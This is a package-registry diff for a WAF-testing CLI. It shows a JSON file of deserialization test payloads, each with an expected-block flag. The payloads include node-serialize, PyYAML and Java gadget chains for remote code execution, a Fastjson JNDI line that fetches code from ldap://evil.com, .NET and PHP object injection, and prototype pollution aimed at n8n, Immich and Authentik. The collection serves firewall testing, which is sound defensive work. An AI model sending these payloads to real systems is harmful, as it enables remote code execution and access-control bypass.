@waftester/cli 2.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +80 -0
- package/LICENSE-COMMUNITY +28 -0
- package/README.md +121 -0
- package/bin/cli.js +152 -0
- package/package.json +52 -0
- package/payloads/community/README.md +45 -0
- package/payloads/community/ai/ml-poisoning.json +173 -0
- package/payloads/community/ai/prompt-injection.json +247 -0
- package/payloads/community/ai/workflow-abuse.json +222 -0
- package/payloads/community/auth/jwt.json +855 -0
- package/payloads/community/auth/login-bypass.json +623 -0
- package/payloads/community/auth/mfa.json +402 -0
- package/payloads/community/auth/oauth.json +421 -0
- package/payloads/community/auth/open-redirect.json +1028 -0
- package/payloads/community/auth/session.json +404 -0
- package/payloads/community/cache/deception.json +402 -0
- package/payloads/community/cache/poisoning.json +403 -0
- package/payloads/community/deserialization/gadget.json +375 -0
- package/payloads/community/deserialization/prototype.json +370 -0
- package/payloads/community/fuzz/content-type.json +397 -0
- package/payloads/community/fuzz/headers.json +401 -0
- package/payloads/community/fuzz/methods.json +397 -0
- package/payloads/community/fuzz/obfuscation.json +362 -0
- package/payloads/community/fuzz/special-chars.json +740 -0
- package/payloads/community/fuzz/waf-bypass.json +452 -0
- package/payloads/community/graphql/batching-abuse.json +271 -0
- package/payloads/community/graphql/depth-limit.json +271 -0
- package/payloads/community/graphql/introspection.json +267 -0
- package/payloads/community/injection/crlf.json +569 -0
- package/payloads/community/injection/ldap.json +357 -0
- package/payloads/community/injection/nosqli.json +529 -0
- package/payloads/community/injection/oscmd.json +662 -0
- package/payloads/community/injection/rce-polyglots.json +452 -0
- package/payloads/community/injection/sqli.json +681 -0
- package/payloads/community/injection/ssti.json +584 -0
- package/payloads/community/injection/upload-attacks.json +632 -0
- package/payloads/community/injection/xpath.json +357 -0
- package/payloads/community/injection/xxe.json +716 -0
- package/payloads/community/logic/forced-browsing.json +405 -0
- package/payloads/community/logic/idor.json +1026 -0
- package/payloads/community/logic/privilege.json +337 -0
- package/payloads/community/media/exif-injection.json +225 -0
- package/payloads/community/media/metadata-poison.json +239 -0
- package/payloads/community/protocol/http-smuggling.json +798 -0
- package/payloads/community/protocol/http2-attacks.json +382 -0
- package/payloads/community/protocol/websocket-abuse.json +375 -0
- package/payloads/community/rate-limit/burst-simulation.json +286 -0
- package/payloads/community/rate-limit/bypass-attempts.json +326 -0
- package/payloads/community/rate-limit/zone-tests.json +332 -0
- package/payloads/community/services/authentik.json +415 -0
- package/payloads/community/services/immich.json +423 -0
- package/payloads/community/services/n8n.json +366 -0
- package/payloads/community/sqli-basic.json +182 -0
- package/payloads/community/ssrf/cloud-metadata.json +999 -0
- package/payloads/community/ssrf/dns-rebinding.json +503 -0
- package/payloads/community/ssrf/internal-networks.json +627 -0
- package/payloads/community/ssrf/protocol-smuggling.json +350 -0
- package/payloads/community/ssti/multi-language-templates.json +191 -0
- package/payloads/community/ssti/python-templates.json +200 -0
- package/payloads/community/traversal/basic.json +675 -0
- package/payloads/community/traversal/cloud-credentials.json +107 -0
- package/payloads/community/traversal/config-files.json +193 -0
- package/payloads/community/traversal/encoding.json +558 -0
- package/payloads/community/traversal/null-byte.json +105 -0
- package/payloads/community/traversal/symlink.json +93 -0
- package/payloads/community/traversal/unicode.json +134 -0
- package/payloads/community/traversal/unix-advanced.json +195 -0
- package/payloads/community/traversal/windows-advanced.json +195 -0
- package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
- package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
- package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
- package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
- package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
- package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
- package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
- package/payloads/community/waf-bypass/unicode-charset.json +152 -0
- package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
- package/payloads/community/waf-validation/README.md +172 -0
- package/payloads/community/waf-validation/bypass-techniques.json +272 -0
- package/payloads/community/waf-validation/custom-rules.json +952 -0
- package/payloads/community/waf-validation/evasion-techniques.json +272 -0
- package/payloads/community/waf-validation/modsecurity-core.json +151 -0
- package/payloads/community/waf-validation/owasp-top10.json +236 -0
- package/payloads/community/waf-validation/regression-tests.json +227 -0
- package/payloads/community/xss/csp-bypass.json +431 -0
- package/payloads/community/xss/dom.json +389 -0
- package/payloads/community/xss/filter-bypass.json +1242 -0
- package/payloads/community/xss/mutation.json +263 -0
- package/payloads/community/xss/polyglots.json +371 -0
- package/payloads/community/xss/reflected.json +187 -0
- package/payloads/community/xss/stored.json +330 -0
- package/payloads/crlf-injection.json +182 -0
- package/payloads/ids-map.json +155 -0
- package/payloads/ldap-injection.json +182 -0
- package/payloads/nosql-injection.json +227 -0
- package/payloads/prototype-pollution.json +182 -0
- package/payloads/request-smuggling.json +182 -0
- package/payloads/version.json +28 -0
- package/payloads/xss-advanced.json +227 -0
- package/templates/README.md +221 -0
- package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
- package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
- package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
- package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
- package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
- package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
- package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
- package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
- package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
- package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
- package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
- package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
- package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
- package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
- package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
- package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
- package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
- package/templates/output/asff.tmpl +61 -0
- package/templates/output/csv.tmpl +4 -0
- package/templates/output/junit.tmpl +34 -0
- package/templates/output/markdown-report.tmpl +92 -0
- package/templates/output/slack-notification.tmpl +95 -0
- package/templates/output/text-summary.tmpl +56 -0
- package/templates/overrides/api-only.yaml +130 -0
- package/templates/overrides/crs-tuning.yaml +204 -0
- package/templates/overrides/false-positive-suppression.yaml +159 -0
- package/templates/policies/owasp-top10.yaml +152 -0
- package/templates/policies/pci-dss.yaml +124 -0
- package/templates/policies/permissive.yaml +40 -0
- package/templates/policies/standard.yaml +57 -0
- package/templates/policies/strict.yaml +72 -0
- package/templates/report-configs/compliance.yaml +173 -0
- package/templates/report-configs/dark.yaml +136 -0
- package/templates/report-configs/enterprise.yaml +175 -0
- package/templates/report-configs/minimal.yaml +84 -0
- package/templates/report-configs/print.yaml +139 -0
- package/templates/workflows/api-scan.yaml +132 -0
- package/templates/workflows/ci-gate.yaml +129 -0
- package/templates/workflows/full-scan.yaml +133 -0
- package/templates/workflows/quick-probe.yaml +80 -0
- package/templates/workflows/waf-detection.yaml +89 -0
|
@@ -0,0 +1,375 @@
|
|
|
1
|
+
[
|
|
2
|
+
{
|
|
3
|
+
"id": "DESER-GADGET-001",
|
|
4
|
+
"payload": "POST /api/import HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"rce\":\"_$$ND_FUNC$$_function(){require('child_process').exec('ls')}()\"}",
|
|
5
|
+
"tags": [
|
|
6
|
+
"deserialization",
|
|
7
|
+
"gadget",
|
|
8
|
+
"node-serialize",
|
|
9
|
+
"critical"
|
|
10
|
+
],
|
|
11
|
+
"expected_block": true,
|
|
12
|
+
"severity_hint": "Critical",
|
|
13
|
+
"notes": "Node.js node-serialize RCE gadget marker",
|
|
14
|
+
"category": "Deserialization"
|
|
15
|
+
},
|
|
16
|
+
{
|
|
17
|
+
"id": "DESER-GADGET-002",
|
|
18
|
+
"payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/xml\r\n\r\n<?xml version=\"1.0\"?><root><name>test</name></root>",
|
|
19
|
+
"tags": [
|
|
20
|
+
"gadget",
|
|
21
|
+
"content-type-confusion"
|
|
22
|
+
],
|
|
23
|
+
"expected_block": false,
|
|
24
|
+
"severity_hint": "Medium",
|
|
25
|
+
"notes": "XML body with JSON Content-Type (no attack, testing parser confusion)",
|
|
26
|
+
"category": "Deserialization"
|
|
27
|
+
},
|
|
28
|
+
{
|
|
29
|
+
"id": "DESER-GADGET-003",
|
|
30
|
+
"payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/xml\r\n\r\n{\"test\":\"json\"}",
|
|
31
|
+
"tags": [
|
|
32
|
+
"gadget",
|
|
33
|
+
"content-type-confusion"
|
|
34
|
+
],
|
|
35
|
+
"expected_block": false,
|
|
36
|
+
"severity_hint": "Medium",
|
|
37
|
+
"notes": "JSON body with XML Content-Type (reverse confusion)",
|
|
38
|
+
"category": "Deserialization"
|
|
39
|
+
},
|
|
40
|
+
{
|
|
41
|
+
"id": "DESER-GADGET-004",
|
|
42
|
+
"payload": "POST /api/config HTTP/1.1\r\nHost: target.com\r\nContent-Type: text/plain\r\n\r\n{\"__proto__\":{\"admin\":true}}",
|
|
43
|
+
"tags": [
|
|
44
|
+
"gadget",
|
|
45
|
+
"content-type-confusion"
|
|
46
|
+
],
|
|
47
|
+
"expected_block": true,
|
|
48
|
+
"severity_hint": "Critical",
|
|
49
|
+
"notes": "Prototype pollution with text/plain Content-Type",
|
|
50
|
+
"category": "Deserialization"
|
|
51
|
+
},
|
|
52
|
+
{
|
|
53
|
+
"id": "DESER-GADGET-005",
|
|
54
|
+
"payload": "POST /api/yaml HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-yaml\r\n\r\n!!python/object/apply:os.system ['ls']",
|
|
55
|
+
"tags": [
|
|
56
|
+
"gadget",
|
|
57
|
+
"yaml-deserialization",
|
|
58
|
+
"critical"
|
|
59
|
+
],
|
|
60
|
+
"expected_block": true,
|
|
61
|
+
"severity_hint": "Critical",
|
|
62
|
+
"notes": "YAML deserialization with Python gadget (PyYAML unsafe load)",
|
|
63
|
+
"category": "Deserialization"
|
|
64
|
+
},
|
|
65
|
+
{
|
|
66
|
+
"id": "DESER-GADGET-006",
|
|
67
|
+
"payload": "POST /api/import HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-yaml\r\n\r\n!!python/object/new:subprocess.Popen ['ls']",
|
|
68
|
+
"tags": [
|
|
69
|
+
"gadget",
|
|
70
|
+
"yaml-deserialization",
|
|
71
|
+
"critical"
|
|
72
|
+
],
|
|
73
|
+
"expected_block": true,
|
|
74
|
+
"severity_hint": "Critical",
|
|
75
|
+
"notes": "YAML subprocess.Popen gadget",
|
|
76
|
+
"category": "Deserialization"
|
|
77
|
+
},
|
|
78
|
+
{
|
|
79
|
+
"id": "DESER-GADGET-007",
|
|
80
|
+
"payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-yaml\r\n\r\n!!python/object/apply:eval ['__import__(\"os\").system(\"ls\")']",
|
|
81
|
+
"tags": [
|
|
82
|
+
"gadget",
|
|
83
|
+
"yaml-deserialization"
|
|
84
|
+
],
|
|
85
|
+
"expected_block": true,
|
|
86
|
+
"severity_hint": "Critical",
|
|
87
|
+
"notes": "YAML eval gadget with os.system",
|
|
88
|
+
"category": "Deserialization"
|
|
89
|
+
},
|
|
90
|
+
{
|
|
91
|
+
"id": "DESER-GADGET-008",
|
|
92
|
+
"payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/java-serialized-object\r\n\r\nrO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAmXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAA",
|
|
93
|
+
"tags": [
|
|
94
|
+
"gadget",
|
|
95
|
+
"java-serialization",
|
|
96
|
+
"critical"
|
|
97
|
+
],
|
|
98
|
+
"expected_block": true,
|
|
99
|
+
"severity_hint": "Critical",
|
|
100
|
+
"notes": "Java serialized object (CommonsCollections gadget marker)",
|
|
101
|
+
"category": "Deserialization"
|
|
102
|
+
},
|
|
103
|
+
{
|
|
104
|
+
"id": "DESER-GADGET-009",
|
|
105
|
+
"payload": "POST /api/import HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-java-serialized-object\r\n\r\nac ed 00 05 73 72 00 11 6a 61 76 61 2e 75 74 69 6c 2e 48 61 73 68 4d 61 70",
|
|
106
|
+
"tags": [
|
|
107
|
+
"gadget",
|
|
108
|
+
"java-serialization"
|
|
109
|
+
],
|
|
110
|
+
"expected_block": true,
|
|
111
|
+
"severity_hint": "Critical",
|
|
112
|
+
"notes": "Java HashMap serialization magic bytes (ac ed 00 05)",
|
|
113
|
+
"category": "Deserialization"
|
|
114
|
+
},
|
|
115
|
+
{
|
|
116
|
+
"id": "DESER-GADGET-010",
|
|
117
|
+
"payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-php-serialized\r\n\r\nO:8:\"stdClass\":1:{s:4:\"data\";s:5:\"value\";}",
|
|
118
|
+
"tags": [
|
|
119
|
+
"gadget",
|
|
120
|
+
"php-serialization"
|
|
121
|
+
],
|
|
122
|
+
"expected_block": true,
|
|
123
|
+
"severity_hint": "High",
|
|
124
|
+
"notes": "PHP serialized object (harmless stdClass)",
|
|
125
|
+
"category": "Deserialization"
|
|
126
|
+
},
|
|
127
|
+
{
|
|
128
|
+
"id": "DESER-GADGET-011",
|
|
129
|
+
"payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\nO:10:\"PentesterLab\":1:{s:4:\"file\";s:9:\"/etc/passwd\";}",
|
|
130
|
+
"tags": [
|
|
131
|
+
"gadget",
|
|
132
|
+
"php-object-injection",
|
|
133
|
+
"critical"
|
|
134
|
+
],
|
|
135
|
+
"expected_block": true,
|
|
136
|
+
"severity_hint": "Critical",
|
|
137
|
+
"notes": "PHP object injection with file property (gadget marker)",
|
|
138
|
+
"category": "Deserialization"
|
|
139
|
+
},
|
|
140
|
+
{
|
|
141
|
+
"id": "DESER-GADGET-012",
|
|
142
|
+
"payload": "POST /api/config HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\nO:8:\"Exploit\":2:{s:7:\"command\";s:2:\"ls\";s:4:\"exec\";b:1;}",
|
|
143
|
+
"tags": [
|
|
144
|
+
"gadget",
|
|
145
|
+
"php-object-injection",
|
|
146
|
+
"critical"
|
|
147
|
+
],
|
|
148
|
+
"expected_block": true,
|
|
149
|
+
"severity_hint": "Critical",
|
|
150
|
+
"notes": "PHP object with command property (RCE gadget marker)",
|
|
151
|
+
"category": "Deserialization"
|
|
152
|
+
},
|
|
153
|
+
{
|
|
154
|
+
"id": "DESER-GADGET-013",
|
|
155
|
+
"payload": "POST /api/user HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"@type\":\"java.net.Inet4Address\",\"val\":\"127.0.0.1\"}",
|
|
156
|
+
"tags": [
|
|
157
|
+
"gadget",
|
|
158
|
+
"fastjson-deserialization"
|
|
159
|
+
],
|
|
160
|
+
"expected_block": true,
|
|
161
|
+
"severity_hint": "Critical",
|
|
162
|
+
"notes": "Fastjson deserialization gadget (@type Inet4Address)",
|
|
163
|
+
"category": "Deserialization"
|
|
164
|
+
},
|
|
165
|
+
{
|
|
166
|
+
"id": "DESER-GADGET-014",
|
|
167
|
+
"payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://evil.com/Exploit\"}",
|
|
168
|
+
"tags": [
|
|
169
|
+
"gadget",
|
|
170
|
+
"fastjson-deserialization",
|
|
171
|
+
"jndi-injection",
|
|
172
|
+
"critical"
|
|
173
|
+
],
|
|
174
|
+
"expected_block": true,
|
|
175
|
+
"severity_hint": "Critical",
|
|
176
|
+
"notes": "Fastjson JNDI injection via JdbcRowSetImpl",
|
|
177
|
+
"category": "Deserialization"
|
|
178
|
+
},
|
|
179
|
+
{
|
|
180
|
+
"id": "DESER-GADGET-015",
|
|
181
|
+
"payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"@c\":\"com.example.Exploit\",\"cmd\":\"calc\"}",
|
|
182
|
+
"tags": [
|
|
183
|
+
"gadget",
|
|
184
|
+
"jackson-polymorphic"
|
|
185
|
+
],
|
|
186
|
+
"expected_block": true,
|
|
187
|
+
"severity_hint": "Critical",
|
|
188
|
+
"notes": "Jackson polymorphic deserialization (@c type hint)",
|
|
189
|
+
"category": "Deserialization"
|
|
190
|
+
},
|
|
191
|
+
{
|
|
192
|
+
"id": "DESER-GADGET-016",
|
|
193
|
+
"payload": "POST /api/config HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",{\"transletBytecodes\":[\"base64payload\"]}]",
|
|
194
|
+
"tags": [
|
|
195
|
+
"gadget",
|
|
196
|
+
"jackson-gadget",
|
|
197
|
+
"templatesimpl"
|
|
198
|
+
],
|
|
199
|
+
"expected_block": true,
|
|
200
|
+
"severity_hint": "Critical",
|
|
201
|
+
"notes": "Jackson TemplatesImpl gadget (Java code execution)",
|
|
202
|
+
"category": "Deserialization"
|
|
203
|
+
},
|
|
204
|
+
{
|
|
205
|
+
"id": "DESER-GADGET-017",
|
|
206
|
+
"payload": "POST /api/import HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"$type\":\"System.Windows.Data.ObjectDataProvider, PresentationFramework\",\"MethodName\":\"Start\"}",
|
|
207
|
+
"tags": [
|
|
208
|
+
"gadget",
|
|
209
|
+
"dotnet-deserialization",
|
|
210
|
+
"critical"
|
|
211
|
+
],
|
|
212
|
+
"expected_block": true,
|
|
213
|
+
"severity_hint": "Critical",
|
|
214
|
+
"notes": ".NET ObjectDataProvider deserialization gadget",
|
|
215
|
+
"category": "Deserialization"
|
|
216
|
+
},
|
|
217
|
+
{
|
|
218
|
+
"id": "DESER-GADGET-018",
|
|
219
|
+
"payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"__type\":\"System.IO.FileInfo\",\"FileName\":\"/etc/passwd\"}",
|
|
220
|
+
"tags": [
|
|
221
|
+
"gadget",
|
|
222
|
+
"dotnet-deserialization"
|
|
223
|
+
],
|
|
224
|
+
"expected_block": true,
|
|
225
|
+
"severity_hint": "High",
|
|
226
|
+
"notes": ".NET FileInfo type hint (file access gadget)",
|
|
227
|
+
"category": "Deserialization"
|
|
228
|
+
},
|
|
229
|
+
{
|
|
230
|
+
"id": "DESER-GADGET-019",
|
|
231
|
+
"payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"ruby/object\":\"Gem::Specification\",\"data\":\"malicious_code\"}",
|
|
232
|
+
"tags": [
|
|
233
|
+
"gadget",
|
|
234
|
+
"ruby-marshal"
|
|
235
|
+
],
|
|
236
|
+
"expected_block": true,
|
|
237
|
+
"severity_hint": "Critical",
|
|
238
|
+
"notes": "Ruby Marshal gadget (Gem::Specification abuse)",
|
|
239
|
+
"category": "Deserialization"
|
|
240
|
+
},
|
|
241
|
+
{
|
|
242
|
+
"id": "DESER-GADGET-020",
|
|
243
|
+
"payload": "POST /api/config HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"ruby/object\":\"Gem::Installer\",\"spec\":\"malicious_spec\"}",
|
|
244
|
+
"tags": [
|
|
245
|
+
"gadget",
|
|
246
|
+
"ruby-marshal"
|
|
247
|
+
],
|
|
248
|
+
"expected_block": true,
|
|
249
|
+
"severity_hint": "Critical",
|
|
250
|
+
"notes": "Ruby Gem::Installer gadget",
|
|
251
|
+
"category": "Deserialization"
|
|
252
|
+
},
|
|
253
|
+
{
|
|
254
|
+
"id": "DESER-GADGET-021",
|
|
255
|
+
"payload": "POST /api/user HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json; charset=utf-16\r\n\r\n{\"test\":\"value\"}",
|
|
256
|
+
"tags": [
|
|
257
|
+
"gadget",
|
|
258
|
+
"charset-confusion"
|
|
259
|
+
],
|
|
260
|
+
"expected_block": false,
|
|
261
|
+
"severity_hint": "Medium",
|
|
262
|
+
"notes": "UTF-16 charset confusion (parser bypass attempt)",
|
|
263
|
+
"category": "Deserialization"
|
|
264
|
+
},
|
|
265
|
+
{
|
|
266
|
+
"id": "DESER-GADGET-022",
|
|
267
|
+
"payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json; boundary=----Boundary\r\n\r\n{\"test\":\"value\"}",
|
|
268
|
+
"tags": [
|
|
269
|
+
"gadget",
|
|
270
|
+
"boundary-confusion"
|
|
271
|
+
],
|
|
272
|
+
"expected_block": false,
|
|
273
|
+
"severity_hint": "Low",
|
|
274
|
+
"notes": "Invalid boundary parameter in JSON Content-Type",
|
|
275
|
+
"category": "Deserialization"
|
|
276
|
+
},
|
|
277
|
+
{
|
|
278
|
+
"id": "DESER-GADGET-023",
|
|
279
|
+
"payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\nContent-Type: application/xml\r\n\r\n{\"test\":\"value\"}",
|
|
280
|
+
"tags": [
|
|
281
|
+
"gadget",
|
|
282
|
+
"duplicate-content-type"
|
|
283
|
+
],
|
|
284
|
+
"expected_block": false,
|
|
285
|
+
"severity_hint": "Medium",
|
|
286
|
+
"notes": "Duplicate Content-Type headers (parser confusion)",
|
|
287
|
+
"category": "Deserialization"
|
|
288
|
+
},
|
|
289
|
+
{
|
|
290
|
+
"id": "DESER-GADGET-024",
|
|
291
|
+
"payload": "POST /api/config HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\nX-Content-Type-Options: nosniff\r\n\r\n<xml><data>test</data></xml>",
|
|
292
|
+
"tags": [
|
|
293
|
+
"gadget",
|
|
294
|
+
"mime-sniffing"
|
|
295
|
+
],
|
|
296
|
+
"expected_block": false,
|
|
297
|
+
"severity_hint": "Medium",
|
|
298
|
+
"notes": "XML body with JSON Content-Type and nosniff",
|
|
299
|
+
"category": "Deserialization"
|
|
300
|
+
},
|
|
301
|
+
{
|
|
302
|
+
"id": "DESER-GADGET-025",
|
|
303
|
+
"payload": "POST /api/workflow HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"nodes\":[{\"type\":\"function\",\"code\":\"return {json: {polluted: true}};\"}]}",
|
|
304
|
+
"tags": [
|
|
305
|
+
"gadget",
|
|
306
|
+
"n8n-workflow",
|
|
307
|
+
"code-injection"
|
|
308
|
+
],
|
|
309
|
+
"expected_block": true,
|
|
310
|
+
"severity_hint": "High",
|
|
311
|
+
"notes": "n8n workflow with function node containing pollution",
|
|
312
|
+
"category": "Deserialization"
|
|
313
|
+
},
|
|
314
|
+
{
|
|
315
|
+
"id": "DESER-GADGET-026",
|
|
316
|
+
"payload": "POST /api/execute HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"expression\":\"{{$json.__proto__.admin = true}}\"}",
|
|
317
|
+
"tags": [
|
|
318
|
+
"gadget",
|
|
319
|
+
"n8n-expression",
|
|
320
|
+
"template-injection"
|
|
321
|
+
],
|
|
322
|
+
"expected_block": true,
|
|
323
|
+
"severity_hint": "Critical",
|
|
324
|
+
"notes": "n8n expression with __proto__ pollution",
|
|
325
|
+
"category": "Deserialization"
|
|
326
|
+
},
|
|
327
|
+
{
|
|
328
|
+
"id": "DESER-GADGET-027",
|
|
329
|
+
"payload": "POST /api/photos/upload HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"metadata\":{\"__proto__\":{\"isPublic\":true}}}",
|
|
330
|
+
"tags": [
|
|
331
|
+
"gadget",
|
|
332
|
+
"immich-metadata"
|
|
333
|
+
],
|
|
334
|
+
"expected_block": true,
|
|
335
|
+
"severity_hint": "Critical",
|
|
336
|
+
"notes": "Immich photo metadata pollution",
|
|
337
|
+
"category": "Deserialization"
|
|
338
|
+
},
|
|
339
|
+
{
|
|
340
|
+
"id": "DESER-GADGET-028",
|
|
341
|
+
"payload": "POST /api/albums HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"settings\":{\"constructor\":{\"prototype\":{\"shared\":true}}}}",
|
|
342
|
+
"tags": [
|
|
343
|
+
"gadget",
|
|
344
|
+
"immich-album"
|
|
345
|
+
],
|
|
346
|
+
"expected_block": true,
|
|
347
|
+
"severity_hint": "Critical",
|
|
348
|
+
"notes": "Immich album settings pollution via constructor",
|
|
349
|
+
"category": "Deserialization"
|
|
350
|
+
},
|
|
351
|
+
{
|
|
352
|
+
"id": "DESER-GADGET-029",
|
|
353
|
+
"payload": "POST /api/flows HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"stages\":[{\"__proto__\":{\"bypass\":true}}]}",
|
|
354
|
+
"tags": [
|
|
355
|
+
"gadget",
|
|
356
|
+
"authentik-flow"
|
|
357
|
+
],
|
|
358
|
+
"expected_block": true,
|
|
359
|
+
"severity_hint": "Critical",
|
|
360
|
+
"notes": "Authentik flow stage pollution",
|
|
361
|
+
"category": "Deserialization"
|
|
362
|
+
},
|
|
363
|
+
{
|
|
364
|
+
"id": "DESER-GADGET-030",
|
|
365
|
+
"payload": "POST /api/policies HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"bindings\":[{\"__proto__\":{\"enabled\":false}}]}",
|
|
366
|
+
"tags": [
|
|
367
|
+
"gadget",
|
|
368
|
+
"authentik-policy"
|
|
369
|
+
],
|
|
370
|
+
"expected_block": true,
|
|
371
|
+
"severity_hint": "Critical",
|
|
372
|
+
"notes": "Authentik policy binding pollution to disable security",
|
|
373
|
+
"category": "Deserialization"
|
|
374
|
+
}
|
|
375
|
+
]
|